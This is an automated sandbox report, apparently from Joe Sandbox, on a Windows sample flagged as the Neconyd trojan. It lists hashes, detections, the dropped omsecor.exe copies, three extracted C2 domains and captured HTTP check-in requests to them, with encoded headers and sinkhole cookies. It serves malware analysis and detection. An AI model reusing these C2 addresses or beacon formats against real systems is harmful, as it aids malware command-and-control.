Edit tour

Windows Analysis Report
cOviNFmw21.exe

Overview

General Information

Sample name:	cOviNFmw21.exe renamed because original name is a hash value
Original sample name:	7a492eaf1df94ad3ffea031e184f81099ed752dce08e77aba9ed657ead97dc3f.exe
Analysis ID:	1569326
MD5:	73e5f0f01bf8368b8b82432b027610e5
SHA1:	ecf068b47a2747e0ef0286c6f9d03f2f8aacfaa7
SHA256:	7a492eaf1df94ad3ffea031e184f81099ed752dce08e77aba9ed657ead97dc3f
Tags:	exeuser-adrian__luca
Infos:

Detection

Neconyd

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Neconyd

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops executables to the windows directory (C:\Windows) and starts them

Machine Learning detection for dropped file

Machine Learning detection for sample

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain (may stop execution after checking a module file name)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

cOviNFmw21.exe (PID: 5344 cmdline: "C:\Users\user\Desktop\cOviNFmw21.exe" MD5: 73E5F0F01BF8368B8B82432B027610E5)

omsecor.exe (PID: 3808 cmdline: C:\Users\user\AppData\Roaming\omsecor.exe MD5: 9CB842FFDA5CC91A433FD8C8655C0678)

omsecor.exe (PID: 1732 cmdline: C:\Windows\System32\omsecor.exe MD5: 647527DE20AF8BB173C26019E8811EED)

omsecor.exe (PID: 6904 cmdline: C:\Windows\SysWOW64\omsecor.exe /nomove MD5: 647527DE20AF8BB173C26019E8811EED)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Neconyd		No Attribution	https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Neconyd.A	https://malpedia.caad.fkie.fraunhofer.de/details/win.neconyd

Malware Configuration

Threatname: Neconyd

{"C2 url": ["http://mkkuei4kdsz.com/", "http://lousta.net/", "http://ow5dirasuek.com/"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: cOviNFmw21.exe PID: 5344	JoeSecurity_Neconyd	Yara detected Neconyd	Joe Security
Process Memory Space: omsecor.exe PID: 3808	JoeSecurity_Neconyd	Yara detected Neconyd	Joe Security
Process Memory Space: omsecor.exe PID: 1732	JoeSecurity_Neconyd	Yara detected Neconyd	Joe Security
Process Memory Space: omsecor.exe PID: 6904	JoeSecurity_Neconyd	Yara detected Neconyd	Joe Security

Suricata Signatures

ET MALWARE Connection to Fitsec Sinkhole IP (Possible Infected Host)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-05T18:04:08.431834+0100	2016998	1	A Network Trojan was detected	192.168.2.7	49699	193.166.255.171	80	TCP

ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-05T18:04:36.659257+0100	2018141	1	A Network Trojan was detected	52.34.198.229	80	192.168.2.7	49748	TCP

ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-05T18:04:36.659257+0100	2037771	1	A Network Trojan was detected	52.34.198.229	80	192.168.2.7	49748	TCP

ET MALWARE Ransom.Win32.Birele.gsg Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-05T18:04:10.619663+0100	2015786	1	Malware Command and Control Activity Detected	192.168.2.7	49699	193.166.255.171	80	TCP
2024-12-05T18:04:32.754783+0100	2015786	1	Malware Command and Control Activity Detected	192.168.2.7	49700	193.166.255.171	80	TCP
2024-12-05T18:04:34.471615+0100	2015786	1	Malware Command and Control Activity Detected	192.168.2.7	49742	15.197.204.56	80	TCP
2024-12-05T18:04:36.659210+0100	2015786	1	Malware Command and Control Activity Detected	192.168.2.7	49748	52.34.198.229	80	TCP
2024-12-05T18:04:59.095440+0100	2015786	1	Malware Command and Control Activity Detected	192.168.2.7	49754	193.166.255.171	80	TCP
2024-12-05T18:05:21.253614+0100	2015786	1	Malware Command and Control Activity Detected	192.168.2.7	49803	193.166.255.171	80	TCP
2024-12-05T18:05:22.615655+0100	2015786	1	Malware Command and Control Activity Detected	192.168.2.7	49851	15.197.204.56	80	TCP
2024-12-05T18:05:24.218147+0100	2015786	1	Malware Command and Control Activity Detected	192.168.2.7	49857	52.34.198.229	80	TCP
2024-12-05T18:05:46.346450+0100	2015786	1	Malware Command and Control Activity Detected	192.168.2.7	49862	193.166.255.171	80	TCP
2024-12-05T18:06:08.472191+0100	2015786	1	Malware Command and Control Activity Detected	192.168.2.7	49913	193.166.255.171	80	TCP
2024-12-05T18:06:09.821016+0100	2015786	1	Malware Command and Control Activity Detected	192.168.2.7	49965	15.197.204.56	80	TCP
2024-12-05T18:06:11.428062+0100	2015786	1	Malware Command and Control Activity Detected	192.168.2.7	49969	52.34.198.229	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: cOviNFmw21.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://lousta.net/54/325.html	Avira URL Cloud: Label: phishing
Source: http://mkkuei4kdsz.com/402/288.htmle	Avira URL Cloud: Label: phishing
Source: http://mkkuei4kdsz.com/	Avira URL Cloud: Label: phishing
Source: http://mkkuei4kdsz.com/402/288.html-8a8d424fbe43573ef1LMEM	Avira URL Cloud: Label: phishing
Source: http://lousta.net/115/685.html53	Avira URL Cloud: Label: phishing
Source: http://lousta.net/352/26.html	Avira URL Cloud: Label: phishing
Source: http://lousta.net/352/26.htmls0	Avira URL Cloud: Label: phishing
Source: http://lousta.net/158/950.html	Avira URL Cloud: Label: phishing
Source: http://mkkuei4kdsz.com/697/241.html	Avira URL Cloud: Label: phishing
Source: http://lousta.net/616/595.html	Avira URL Cloud: Label: phishing
Source: http://mkkuei4kdsz.com/697/241.htmll	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/56/763.html	Avira URL Cloud: Label: phishing
Source: http://mkkuei4kdsz.com/910/77.htmlCj	Avira URL Cloud: Label: phishing
Source: http://lousta.net/352/26.html3418276	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/372/940.htmlj	Avira URL Cloud: Label: phishing
Source: http://mkkuei4kdsz.com/697/241.htmlasuek.com	Avira URL Cloud: Label: phishing
Source: http://mkkuei4kdsz.com/697/241.html/	Avira URL Cloud: Label: phishing
Source: http://mkkuei4kdsz.com/i	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/56/763.htmlWI/	Avira URL Cloud: Label: phishing
Source: http://lousta.net/115/685.html	Avira URL Cloud: Label: phishing
Source: http://lousta.net/352/26.htmlz0o	Avira URL Cloud: Label: phishing
Source: http://lousta.net/	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/618/507.html;	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/56/763.htmluj	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/618/507.html	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/lousta.net	Avira URL Cloud: Label: phishing
Source: http://lousta.net/54/325.htmlwshqos.dll.mui	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/618/507.html%	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/http://mkkuei4kdsz.com/http://lousta.net/http://lousta.net/begun.ruIueiOodcon	Avira URL Cloud: Label: phishing
Source: http://lousta.net/j	Avira URL Cloud: Label: phishing
Source: http://mkkuei4kdsz.com/910/77.htmlIIM	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/372/940.html	Avira URL Cloud: Label: phishing
Source: http://lousta.net/594/342.html	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/ta	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/en-US	Avira URL Cloud: Label: phishing
Source: http://mkkuei4kdsz.com/910/77.html0#=	Avira URL Cloud: Label: phishing
Source: http://mkkuei4kdsz.com/910/77.html$#	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/	Avira URL Cloud: Label: phishing
Source: http://lousta.net/562/345.html	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/56/763.htmlEIY	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/56/763.html-F	Avira URL Cloud: Label: phishing
Source: http://ow5dirasuek.com/56/763.html%	Avira URL Cloud: Label: phishing
Source: http://mkkuei4kdsz.com/910/77.html	Avira URL Cloud: Label: phishing
Source: http://mkkuei4kdsz.com/697/241.html~x	Avira URL Cloud: Label: phishing
Source: http://mkkuei4kdsz.com/402/288.html	Avira URL Cloud: Label: phishing
Source: http://lousta.net/352/26.htmle1N	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\omsecor.exe	Avira: detection malicious, Label: HEUR/AGEN.1317135
Source: C:\Windows\SysWOW64\omsecor.exe	Avira: detection malicious, Label: HEUR/AGEN.1317135

Found malware configuration

Source: cOviNFmw21.exe

Malware Configuration Extractor: Neconyd {"C2 url": ["http://mkkuei4kdsz.com/", "http://lousta.net/", "http://ow5dirasuek.com/"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\omsecor.exe

ReversingLabs: Detection: 95%

Multi AV Scanner detection for submitted file

Source: cOviNFmw21.exe

ReversingLabs: Detection: 97%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\omsecor.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\omsecor.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: cOviNFmw21.exe

Joe Sandbox ML: detected

Source: cOviNFmw21.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\cOviNFmw21.exe	Code function: 1_2_0040ABD9 FindFirstFileW,FindClose,		1_2_0040ABD9
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 11_2_0040ABD9 FindFirstFileW,FindClose,		11_2_0040ABD9

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.7:49699 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.7:49742 -> 15.197.204.56:80
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.7:49700 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.7:49748 -> 52.34.198.229:80
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.7:49803 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.7:49851 -> 15.197.204.56:80
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.7:49754 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.7:49857 -> 52.34.198.229:80
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.7:49862 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.7:49913 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.7:49969 -> 52.34.198.229:80
Source: Network traffic	Suricata IDS: 2015786 - Severity 1 - ET MALWARE Ransom.Win32.Birele.gsg Checkin : 192.168.2.7:49965 -> 15.197.204.56:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://mkkuei4kdsz.com/
Source: Malware configuration extractor	URLs: http://lousta.net/
Source: Malware configuration extractor	URLs: http://ow5dirasuek.com/

Source: global traffic	HTTP traffic detected: GET /616/595.html HTTP/1.1From: 133778918465242887Via: goqjiuq^uiv@;08bcrhe@9^serdq=4403435bovA6541aoe\|A1594h:2g7c:e6ef48545gf:5a:;0547;Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /616/595.html HTTP/1.1From: 133778918465242887Via: goqjiuq^uiv@;08bcrhe@9^serdq=4403435bovA6541aoe\|A1594h:2g7c:e6ef48545gf:5a:;0547;Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /616/595.html HTTP/1.1From: 133778918465242887Via: goqjiuq^uiv@;08bcrhe@9^serdq=4403435bovA6541aoe\|A1594h:2g7c:e6ef48545gf:5a:;0547;Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /562/345.html HTTP/1.1From: 133778918465242887Via: goqjiuq^uiv@;08bcrhe@9^serdq=4403435bovA6541aoe\|A1594h:2g7c:e6ef48545gf:5a:;0547;Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /910/77.html HTTP/1.1From: 133778918465242887Via: goqjiuq^uiv@;08bcrhe@9^serdq=4403435bovA6541aoe\|A1594h:2g7c:e6ef48545gf:5a:;0547;Host: mkkuei4kdsz.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /56/763.html HTTP/1.1From: 133778918465242887Via: goqjiuq^uiv@;08bcrhe@9^serdq=4403435bovA6541aoe\|A1594h:2g7c:e6ef48545gf:5a:;0547;Host: ow5dirasuek.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /115/685.html HTTP/1.1From: 133778973683427860Via: bjledplYpdq;6+3]^mc`;4Yn`m_l8//+./.0]jq<10/,\j`w</460_`a7a1c4._7`/`_70,`a14`]_ca.Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /54/325.html HTTP/1.1From: 133778973683427860Via: bjledplYpdq;6+3]^mc`;4Yn`m_l8//+./.0]jq<10/,\j`w</460_`a7a1c4._7`/`_70,`a14`]_ca.Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /402/288.html HTTP/1.1From: 133778973683427860Via: bjledplYpdq;6+3]^mc`;4Yn`m_l8//+./.0]jq<10/,\j`w</460_`a7a1c4._7`/`_70,`a14`]_ca.Host: mkkuei4kdsz.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /372/940.html HTTP/1.1From: 133778973683427860Via: bjledplYpdq;6+3]^mc`;4Yn`m_l8//+./.0]jq<10/,\j`w</460_`a7a1c4._7`/`_70,`a14`]_ca.Host: ow5dirasuek.comConnection: Keep-AliveCookie: snkz=8.46.123.228; btst=53bc98c7fd76f7846aa5411ec8e5a6dc\|8.46.123.228\|1733418276\|1733418276\|0\|1\|0
Source: global traffic	HTTP traffic detected: GET /158/950.html HTTP/1.1From: 133778973683427860Via: bjledplYpdq;6+3]^mc`;4Yn`m_l80/+./.0]jq<10/,\j`w</460_`a7a1c4._7`/`_70,`a14`]_ca.Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /352/26.html HTTP/1.1From: 133778973683427860Via: bjledplYpdq;6+3]^mc`;4Yn`m_l80/+./.0]jq<10/,\j`w</460_`a7a1c4._7`/`_70,`a14`]_ca.Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /697/241.html HTTP/1.1From: 133778973683427860Via: bjledplYpdq;6+3]^mc`;4Yn`m_l80/+./.0]jq<10/,\j`w</460_`a7a1c4._7`/`_70,`a14`]_ca.Host: mkkuei4kdsz.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /618/507.html HTTP/1.1From: 133778973683427860Via: bjledplYpdq;6+3]^mc`;4Yn`m_l80/+./.0]jq<10/,\j`w</460_`a7a1c4._7`/`_70,`a14`]_ca.Host: ow5dirasuek.comConnection: Keep-AliveCookie: snkz=8.46.123.228; btst=53bc98c7fd76f7846aa5411ec8e5a6dc\|8.46.123.228\|1733418323\|1733418276\|23\|2\|0

Source: Joe Sandbox View	IP Address: 193.166.255.171 193.166.255.171
Source: Joe Sandbox View	IP Address: 52.34.198.229 52.34.198.229

Source: Joe Sandbox View	ASN Name: FUNETASFI FUNETASFI
Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View	ASN Name: TANDEMUS TANDEMUS

Source: Network traffic	Suricata IDS: 2016998 - Severity 1 - ET MALWARE Connection to Fitsec Sinkhole IP (Possible Infected Host) : 192.168.2.7:49699 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 52.34.198.229:80 -> 192.168.2.7:49748
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 52.34.198.229:80 -> 192.168.2.7:49748

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\cOviNFmw21.exe

Code function: 1_2_00407036 DeleteFileW,CreateFileW,GetLastError,SetEndOfFile,InternetOpenUrlW,CloseHandle,InternetQueryDataAvailable,InternetReadFile,WriteFile,InternetReadFile,CloseHandle,InternetCloseHandle,

1_2_00407036

Source: global traffic	HTTP traffic detected: GET /616/595.html HTTP/1.1From: 133778918465242887Via: goqjiuq^uiv@;08bcrhe@9^serdq=4403435bovA6541aoe\|A1594h:2g7c:e6ef48545gf:5a:;0547;Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /616/595.html HTTP/1.1From: 133778918465242887Via: goqjiuq^uiv@;08bcrhe@9^serdq=4403435bovA6541aoe\|A1594h:2g7c:e6ef48545gf:5a:;0547;Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /616/595.html HTTP/1.1From: 133778918465242887Via: goqjiuq^uiv@;08bcrhe@9^serdq=4403435bovA6541aoe\|A1594h:2g7c:e6ef48545gf:5a:;0547;Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /562/345.html HTTP/1.1From: 133778918465242887Via: goqjiuq^uiv@;08bcrhe@9^serdq=4403435bovA6541aoe\|A1594h:2g7c:e6ef48545gf:5a:;0547;Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /910/77.html HTTP/1.1From: 133778918465242887Via: goqjiuq^uiv@;08bcrhe@9^serdq=4403435bovA6541aoe\|A1594h:2g7c:e6ef48545gf:5a:;0547;Host: mkkuei4kdsz.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /56/763.html HTTP/1.1From: 133778918465242887Via: goqjiuq^uiv@;08bcrhe@9^serdq=4403435bovA6541aoe\|A1594h:2g7c:e6ef48545gf:5a:;0547;Host: ow5dirasuek.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /115/685.html HTTP/1.1From: 133778973683427860Via: bjledplYpdq;6+3]^mc`;4Yn`m_l8//+./.0]jq<10/,\j`w</460_`a7a1c4._7`/`_70,`a14`]_ca.Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /54/325.html HTTP/1.1From: 133778973683427860Via: bjledplYpdq;6+3]^mc`;4Yn`m_l8//+./.0]jq<10/,\j`w</460_`a7a1c4._7`/`_70,`a14`]_ca.Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /402/288.html HTTP/1.1From: 133778973683427860Via: bjledplYpdq;6+3]^mc`;4Yn`m_l8//+./.0]jq<10/,\j`w</460_`a7a1c4._7`/`_70,`a14`]_ca.Host: mkkuei4kdsz.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /372/940.html HTTP/1.1From: 133778973683427860Via: bjledplYpdq;6+3]^mc`;4Yn`m_l8//+./.0]jq<10/,\j`w</460_`a7a1c4._7`/`_70,`a14`]_ca.Host: ow5dirasuek.comConnection: Keep-AliveCookie: snkz=8.46.123.228; btst=53bc98c7fd76f7846aa5411ec8e5a6dc\|8.46.123.228\|1733418276\|1733418276\|0\|1\|0
Source: global traffic	HTTP traffic detected: GET /158/950.html HTTP/1.1From: 133778973683427860Via: bjledplYpdq;6+3]^mc`;4Yn`m_l80/+./.0]jq<10/,\j`w</460_`a7a1c4._7`/`_70,`a14`]_ca.Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /352/26.html HTTP/1.1From: 133778973683427860Via: bjledplYpdq;6+3]^mc`;4Yn`m_l80/+./.0]jq<10/,\j`w</460_`a7a1c4._7`/`_70,`a14`]_ca.Host: lousta.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /697/241.html HTTP/1.1From: 133778973683427860Via: bjledplYpdq;6+3]^mc`;4Yn`m_l80/+./.0]jq<10/,\j`w</460_`a7a1c4._7`/`_70,`a14`]_ca.Host: mkkuei4kdsz.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /618/507.html HTTP/1.1From: 133778973683427860Via: bjledplYpdq;6+3]^mc`;4Yn`m_l80/+./.0]jq<10/,\j`w</460_`a7a1c4._7`/`_70,`a14`]_ca.Host: ow5dirasuek.comConnection: Keep-AliveCookie: snkz=8.46.123.228; btst=53bc98c7fd76f7846aa5411ec8e5a6dc\|8.46.123.228\|1733418323\|1733418276\|23\|2\|0

Source: global traffic	DNS traffic detected: DNS query: lousta.net
Source: global traffic	DNS traffic detected: DNS query: mkkuei4kdsz.com
Source: global traffic	DNS traffic detected: DNS query: ow5dirasuek.com

Source: omsecor.exe, 00000002.00000002.1551324123.00000000005A0000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 0000000F.00000002.2499073566.0000000000195000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/
Source: omsecor.exe, 0000000B.00000002.2498117710.0000000000508000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 0000000B.00000002.2498117710.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/115/685.html
Source: omsecor.exe, 0000000B.00000002.2498117710.0000000000508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/115/685.html53
Source: omsecor.exe, 0000000B.00000002.2498117710.0000000000508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/158/950.html
Source: omsecor.exe, 0000000B.00000002.2498117710.0000000000508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/352/26.html
Source: omsecor.exe, 0000000B.00000002.2498117710.0000000000508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/352/26.html3418276
Source: omsecor.exe, 0000000B.00000002.2498117710.0000000000508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/352/26.htmle1N
Source: omsecor.exe, 0000000B.00000002.2498117710.0000000000508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/352/26.htmls0
Source: omsecor.exe, 0000000B.00000002.2498117710.0000000000508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/352/26.htmlz0o
Source: omsecor.exe, 0000000B.00000002.2498117710.0000000000508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/54/325.html
Source: omsecor.exe, 0000000B.00000002.2498117710.0000000000508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/54/325.htmlwshqos.dll.mui
Source: omsecor.exe, 00000002.00000002.1551324123.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/562/345.html
Source: omsecor.exe, 0000000F.00000002.2500201090.0000000000640000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 0000000F.00000002.2499073566.0000000000195000.00000004.00000010.00020000.00000000.sdmp, omsecor.exe, 0000000F.00000002.2500201090.00000000005FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/594/342.html
Source: omsecor.exe, 00000002.00000002.1551324123.000000000055E000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000002.00000002.1551324123.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/616/595.html
Source: omsecor.exe, 0000000F.00000002.2500201090.00000000005FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lousta.net/j
Source: omsecor.exe, 0000000B.00000002.2498117710.0000000000508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mkkuei4kdsz.com/
Source: omsecor.exe, 0000000B.00000002.2498117710.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mkkuei4kdsz.com/402/288.html
Source: omsecor.exe, 0000000B.00000002.2498117710.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mkkuei4kdsz.com/402/288.html-8a8d424fbe43573ef1LMEM
Source: omsecor.exe, 0000000B.00000002.2498117710.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mkkuei4kdsz.com/402/288.htmle
Source: omsecor.exe, 0000000B.00000002.2498117710.000000000051A000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 0000000B.00000002.2498117710.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mkkuei4kdsz.com/697/241.html
Source: omsecor.exe, 0000000B.00000002.2498117710.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mkkuei4kdsz.com/697/241.html/
Source: omsecor.exe, 0000000B.00000002.2498117710.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mkkuei4kdsz.com/697/241.htmlasuek.com
Source: omsecor.exe, 0000000B.00000002.2498117710.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mkkuei4kdsz.com/697/241.htmll
Source: omsecor.exe, 0000000B.00000002.2498117710.000000000051A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mkkuei4kdsz.com/697/241.html~x
Source: omsecor.exe, 00000002.00000002.1551324123.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mkkuei4kdsz.com/910/77.html
Source: omsecor.exe, 00000002.00000002.1551324123.000000000055E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mkkuei4kdsz.com/910/77.html$#
Source: omsecor.exe, 00000002.00000002.1551324123.000000000055E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mkkuei4kdsz.com/910/77.html0#=
Source: omsecor.exe, 00000002.00000002.1551324123.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mkkuei4kdsz.com/910/77.htmlCj
Source: omsecor.exe, 00000002.00000002.1551324123.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mkkuei4kdsz.com/910/77.htmlIIM
Source: omsecor.exe, 0000000B.00000002.2498117710.0000000000508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mkkuei4kdsz.com/i
Source: omsecor.exe, 00000002.00000002.1551324123.00000000005A0000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 0000000B.00000002.2498117710.0000000000508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/
Source: omsecor.exe, 0000000B.00000002.2498117710.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/372/940.html
Source: omsecor.exe, 0000000B.00000002.2498117710.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/372/940.htmlj
Source: omsecor.exe, 00000002.00000002.1550915229.0000000000194000.00000004.00000010.00020000.00000000.sdmp, omsecor.exe, 00000002.00000002.1551324123.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/56/763.html
Source: omsecor.exe, 00000002.00000002.1551324123.00000000005BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/56/763.html%
Source: omsecor.exe, 00000002.00000002.1551324123.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/56/763.html-F
